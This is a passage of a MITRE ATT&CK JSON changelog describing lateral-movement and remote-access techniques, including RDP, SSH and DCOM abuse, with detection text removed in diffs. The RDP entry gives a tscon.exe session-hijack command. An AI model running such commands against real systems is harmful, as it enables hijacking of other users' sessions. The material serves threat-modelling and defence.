"description": "An adversary may use legitimate remote access tools to establish an interactive command and control channel within a network. Remote access tools create a session between two trusted hosts through a graphical interface, a command line interaction, a protocol tunnel via development or management software, or hardware-level access such as KVM (Keyboard, Video, Mouse) over IP solutions. Desktop support software (usually graphical interface) and remote management software (typically command line interface) allow a user to control a computer remotely as if they are a local user inheriting the user or software permissions. This software is commonly used for troubleshooting, software installation, and system management.(Citation: Symantec Living off the Land)(Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy) Adversaries may similarly abuse response features included in EDR and other defensive tools that enable remote access.\n\nRemote access tools may be installed and used post-compromise as an alternate communications channel for redundant access or to establish an interactive remote desktop session with the target system. It may also be used as a malware component to establish a reverse connection or back-connect to a service or adversary-controlled system.\n\nInstallation of many remote access tools may also include persistence (e.g., the software's installation routine creates a [Windows Service](https://attack.mitre.org/techniques/T1543/003)). Remote access modules/features may also exist as part of otherwise existing software (e.g., Google Chrome\u2019s Remote Desktop).(Citation: Google Chrome Remote Desktop)(Citation: Chrome Remote Desktop)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "command-and-control"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1219",
"external_id": "T1219"
},
{
"source_name": "CrowdStrike 2015 Global Threat Report",
"description": "CrowdStrike Intelligence. (2016). 2015 Global Threat Report. Retrieved April 11, 2018.",
"url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf"
},
{
"source_name": "CrySyS Blog TeamSpy",
"description": "CrySyS Lab. (2013, March 20). TeamSpy \u2013 Obshie manevri. Ispolzovat\u2019 tolko s razreshenija S-a. Retrieved April 11, 2018.",
"url": "https://blog.crysys.hu/2013/03/teamspy/"
},
{
"source_name": "Google Chrome Remote Desktop",
"description": "Google. (n.d.). Retrieved March 14, 2024.",
"url": "https://support.google.com/chrome/answer/1649523"
},
{
"source_name": "Chrome Remote Desktop",
"description": "Huntress. (n.d.). Retrieved March 14, 2024.",
"url": "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
},
{
"source_name": "Symantec Living off the Land",
"description": "Wueest, C., Anand, H. (2017, July). Living off the land and fileless attack techniques. Retrieved April 10, 2018.",
"url": "https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/istr-living-off-the-land-and-fileless-attack-techniques-en.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Matt Kelly, @breakersall",
"Zachary Stanford, @svch0st",
"Dray Agha, @Purp1eW0lf, Huntress Labs"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "3.0",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Traffic Content\", \"Drive: Drive Creation\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:42.154000+00:00\", \"old_value\": \"2025-04-15 19:58:25.651000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for applications and processes related to remote admin tools. Correlate activity with other suspicious behavior that may reduce false positives if these tools are used by legitimate users and administrators.\\n\\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.\\n\\n[Domain Fronting](https://attack.mitre.org/techniques/T1090/004) may be used in conjunction to avoid defenses. Adversaries will likely need to deploy and/or install these remote tools to compromised systems. It may be possible to detect or prevent the installation of these tools with host-based solutions.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor for applications and processes related to remote admin tools. Correlate activity with other suspicious behavior that may reduce false positives if these tools are used by legitimate users and administrators.\\n-\\n-Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.\\n-\\n-[Domain Fronting](https://attack.mitre.org/techniques/T1090/004) may be used in conjunction to avoid defenses. Adversaries will likely need to deploy and/or install these remote tools to compromised systems. It may be possible to detect or prevent the installation of these tools with host-based solutions.\"}}}",
"previous_version": "3.0",
"changelog_mitigations": {
"shared": [
"M1031: Network Intrusion Prevention",
"M1034: Limit Hardware Installation",
"M1037: Filter Network Traffic",
"M1038: Execution Prevention",
"M1042: Disable or Remove Feature or Program"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0016: Drive (Drive Creation)",
"DS0029: Network Traffic (Network Connection Creation)",
"DS0029: Network Traffic (Network Traffic Content)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0496: Behavior-Chain Detection for Remote Access Tools (Tool-Agnostic)"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-25 18:26:16.994000+00:00",
"modified": "2025-10-24 17:48:50.118000+00:00",
"name": "Remote Service Session Hijacking",
"description": "Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service.\n\nAdversaries may commandeer these sessions to carry out actions on remote systems. [Remote Service Session Hijacking](https://attack.mitre.org/techniques/T1563) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it hijacks an existing session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: RDP Hijacking Medium)(Citation: Breach Post-mortem SSH Hijack)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "lateral-movement"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1563",
"external_id": "T1563"
},
{
"source_name": "RDP Hijacking Medium",
"description": "Beaumont, K. (2017, March 19). RDP hijacking\u200a\u2014\u200ahow to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017.",
"url": "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6"
},
{
"source_name": "Breach Post-mortem SSH Hijack",
"description": "Hodgson, M. (2019, May 8). Post-mortem and remediations for Apr 11 security incident. Retrieved November 17, 2024.",
"url": "https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Traffic Content\", \"Command: Command Execution\", \"Process: Process Creation\", \"Logon Session: Logon Session Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:50.118000+00:00\", \"old_value\": \"2025-04-15 23:00:02.178000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use of these services may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with that service. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\\n\\nMonitor for processes and command-line arguments associated with hijacking service sessions.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Use of these services may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with that service. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\\n-\\n-Monitor for processes and command-line arguments associated with hijacking service sessions.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1026: Privileged Account Management",
"M1027: Password Policies",
"M1030: Network Segmentation",
"M1042: Disable or Remove Feature or Program"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0028: Logon Session (Logon Session Creation)",
"DS0029: Network Traffic (Network Traffic Content)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0079: Detection of Remote Service Session Hijacking"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-25 18:35:42.765000+00:00",
"modified": "2025-10-24 17:49:30.049000+00:00",
"name": "RDP Hijacking",
"description": "Adversaries may hijack a legitimate user\u2019s remote desktop session to move laterally within an environment. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)\n\nAdversaries may perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session. With System permissions and using Terminal Services Console, `c:\\windows\\system32\\tscon.exe [session number to be stolen]`, an adversary can hijack a session without the need for credentials or prompts to the user.(Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions.(Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.(Citation: Kali Redsnarf)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "lateral-movement"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1563/002",
"external_id": "T1563.002"
},
{
"source_name": "RDP Hijacking Medium",
"description": "Beaumont, K. (2017, March 19). RDP hijacking\u200a\u2014\u200ahow to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017.",
"url": "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6"
},
{
"source_name": "RDP Hijacking Korznikov",
"description": "Korznikov, A. (2017, March 17). Passwordless RDP Session Hijacking Feature All Windows versions. Retrieved December 11, 2017.",
"url": "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html"
},
{
"source_name": "TechNet Remote Desktop Services",
"description": "Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.",
"url": "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx"
},
{
"source_name": "Kali Redsnarf",
"description": "NCC Group PLC. (2016, November 1). Kali Redsnarf. Retrieved December 11, 2017.",
"url": "https://github.com/nccgroup/redsnarf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Logon Session: Logon Session Creation\", \"Process: Process Creation\", \"Command: Command Execution\", \"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:30.049000+00:00\", \"old_value\": \"2025-04-15 22:59:04.979000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider monitoring processes for `tscon.exe` usage and monitor service creation that uses `cmd.exe /k` or `cmd.exe /c` in its arguments to detect RDP session hijacking.\\n\\nUse of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider monitoring processes for `tscon.exe` usage and monitor service creation that uses `cmd.exe /k` or `cmd.exe /c` in its arguments to detect RDP session hijacking.\\n-\\n-Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1026: Privileged Account Management",
"M1028: Operating System Configuration",
"M1030: Network Segmentation",
"M1035: Limit Access to Resource Over Network",
"M1042: Disable or Remove Feature or Program",
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0028: Logon Session (Logon Session Creation)",
"DS0029: Network Traffic (Network Traffic Content)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0588: Detection fo Remote Service Session Hijacking for RDP."
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--4d2a5b3e-340d-4600-9123-309dd63c9bf8",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-25 18:34:38.290000+00:00",
"modified": "2025-10-24 17:48:45.240000+00:00",
"name": "SSH Hijacking",
"description": "Adversaries may hijack a legitimate user's SSH session to move laterally within an environment. Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.\n\nIn order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial.(Citation: Slideshare Abusing SSH)(Citation: SSHjack Blackhat)(Citation: Clockwork SSH Agent Hijacking)(Citation: Breach Post-mortem SSH Hijack)\n\n[SSH Hijacking](https://attack.mitre.org/techniques/T1563/001) differs from use of [SSH](https://attack.mitre.org/techniques/T1021/004) because it hijacks an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "lateral-movement"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1563/001",
"external_id": "T1563.001"
},
{
"source_name": "SSHjack Blackhat",
"description": "Adam Boileau. (2005, August 5). Trust Transience: Post Intrusion SSH Hijacking. Retrieved December 19, 2017.",
"url": "https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf"
},
{
"source_name": "Clockwork SSH Agent Hijacking",
"description": "Beuchler, B. (2012, September 28). SSH Agent Hijacking. Retrieved November 17, 2024.",
"url": "https://web.archive.org/web/20210311184303/https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking/"
},
{
"source_name": "Slideshare Abusing SSH",
"description": "Duarte, H., Morrison, B. (2012). (Mis)trusting and (ab)using ssh. Retrieved January 8, 2018.",
"url": "https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219"
},
{
"source_name": "Breach Post-mortem SSH Hijack",
"description": "Hodgson, M. (2019, May 8). Post-mortem and remediations for Apr 11 security incident. Retrieved November 17, 2024.",
"url": "https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Anastasios Pingios"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Network Traffic: Network Traffic Content\", \"Command: Command Execution\", \"Logon Session: Logon Session Creation\", \"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:45.240000+00:00\", \"old_value\": \"2025-04-15 21:40:37.838000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use of SSH may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. Also monitor user SSH-agent socket files being used by different users.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1022: Restrict File and Directory Permissions",
"M1026: Privileged Account Management",
"M1027: Password Policies",
"M1042: Disable or Remove Feature or Program"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0028: Logon Session (Logon Session Creation)",
"DS0029: Network Traffic (Network Traffic Content)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0256: Detection Strategy for SSH Session Hijacking"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:30:29.858000+00:00",
"modified": "2025-10-24 17:48:48.472000+00:00",
"name": "Remote Services",
"description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service that accepts remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\n\nIn an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services) They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain, or management platforms for internal virtualization environments such as VMware vCenter. \n\nLegitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation: Remote Management MDM macOS)(Citation: Kickstart Apple Remote Desktop commands)(Citation: Apple Remote Desktop Admin Guide 3.3) Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: Lockboxx ARD 2019)(Citation: Kickstart Apple Remote Desktop commands)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "lateral-movement"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1021",
"external_id": "T1021"
},
{
"source_name": "Apple Remote Desktop Admin Guide 3.3",
"description": "Apple. (n.d.). Apple Remote Desktop Administrator Guide Version 3.3. Retrieved October 5, 2021.",
"url": "https://images.apple.com/remotedesktop/pdf/ARD_Admin_Guide_v3.3.pdf"
},
{
"source_name": "Remote Management MDM macOS",
"description": "Apple. (n.d.). Use MDM to enable Remote Management in macOS. Retrieved September 23, 2021.",
"url": "https://support.apple.com/en-us/HT209161"
},
{
"source_name": "Kickstart Apple Remote Desktop commands",
"description": "Apple. (n.d.). Use the kickstart command-line utility in Apple Remote Desktop. Retrieved September 23, 2021.",
"url": "https://support.apple.com/en-us/HT201710"
},
{
"source_name": "Lockboxx ARD 2019",
"description": "Dan Borges. (2019, July 21). MacOS Red Teaming 206: ARD (Apple Remote Desktop Protocol). Retrieved September 10, 2021.",
"url": "http://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html"
},
{
"source_name": "FireEye 2019 Apple Remote Desktop",
"description": "Jake Nicastro, Willi Ballenthin. (2019, October 9). Living off the Orchard: Leveraging Apple Remote Desktop for Good and Evil. Retrieved August 16, 2021.",
"url": "https://www.fireeye.com/blog/threat-research/2019/10/leveraging-apple-remote-desktop-for-good-and-evil.html"
},
{
"source_name": "TechNet Remote Desktop Services",
"description": "Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.",
"url": "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx"
},
{
"source_name": "Apple Unified Log Analysis Remote Login and Screen Sharing",
"description": "Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] \u2013 Working From Home? Remote Logins. Retrieved August 19, 2021.",
"url": "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins"
},
{
"source_name": "SSH Secure Shell",
"description": "SSH.COM. (n.d.). SSH (Secure Shell). Retrieved March 23, 2020.",
"url": "https://www.ssh.com/ssh"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Dan Borges, @1njection"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows",
"IaaS",
"ESXi"
],
"x_mitre_version": "1.6",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Module: Module Load\", \"Network Traffic: Network Connection Creation\", \"Command: Command Execution\", \"Network Share: Network Share Access\", \"WMI: WMI Creation\", \"Logon Session: Logon Session Creation\", \"Network Traffic: Network Traffic Flow\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:48.472000+00:00\", \"old_value\": \"2025-04-15 19:58:32.234000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement. \\n\\nUse of applications such as ARD may be legitimate depending on the environment and how it\\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using these applications. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. \\n\\nIn macOS, you can review logs for \\\"screensharingd\\\" and \\\"Authentication\\\" event messages. Monitor network connections regarding remote management (ports tcp:3283 and tcp:5900) and for remote login (port tcp:22).(Citation: Lockboxx ARD 2019)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement. \\n-\\n-Use of applications such as ARD may be legitimate depending on the environment and how it\\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using these applications. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. \\n-\\n-In macOS, you can review logs for \\\"screensharingd\\\" and \\\"Authentication\\\" event messages. Monitor network connections regarding remote management (ports tcp:3283 and tcp:5900) and for remote login (port tcp:22).(Citation: Lockboxx ARD 2019)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\"}}}",
"previous_version": "1.6",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1027: Password Policies",
"M1032: Multi-factor Authentication",
"M1035: Limit Access to Resource Over Network",
"M1042: Disable or Remove Feature or Program",
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0005: WMI (WMI Creation)",
"DS0009: Process (Process Creation)",
"DS0011: Module (Module Load)",
"DS0017: Command (Command Execution)",
"DS0028: Logon Session (Logon Session Creation)",
"DS0029: Network Traffic (Network Connection Creation)",
"DS0029: Network Traffic (Network Traffic Flow)",
"DS0033: Network Share (Network Share Access)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0269: Behavioral Detection Strategy for Remote Service Logins and Post-Access Activity"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-11 18:26:36.444000+00:00",
"modified": "2025-10-24 17:48:53.724000+00:00",
"name": "Distributed Component Object Model",
"description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user.\n\nThe Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM)\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL)\n\nThrough DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). (Citation: MSDN WMI)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "lateral-movement"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1021/003",
"external_id": "T1021.003"
},
{
"source_name": "Fireeye Hunting COM June 2019",
"description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.",
"url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html"
},
{
"source_name": "Microsoft COM",
"description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.",
"url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx"
},
{
"source_name": "Microsoft COM ACL",
"description": "Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.",
"url": "https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1"
},
{
"source_name": "Microsoft Process Wide Com Keys",
"description": "Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.",
"url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx"
},
{
"source_name": "MSDN WMI",
"description": "Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016.",
"url": "https://msdn.microsoft.com/en-us/library/aa394582.aspx"
},
{
"source_name": "Enigma DCOM Lateral Movement Jan 2017",
"description": "Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round 2. Retrieved November 21, 2017.",
"url": "https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/"
},
{
"source_name": "Enigma MMC20 COM Jan 2017",
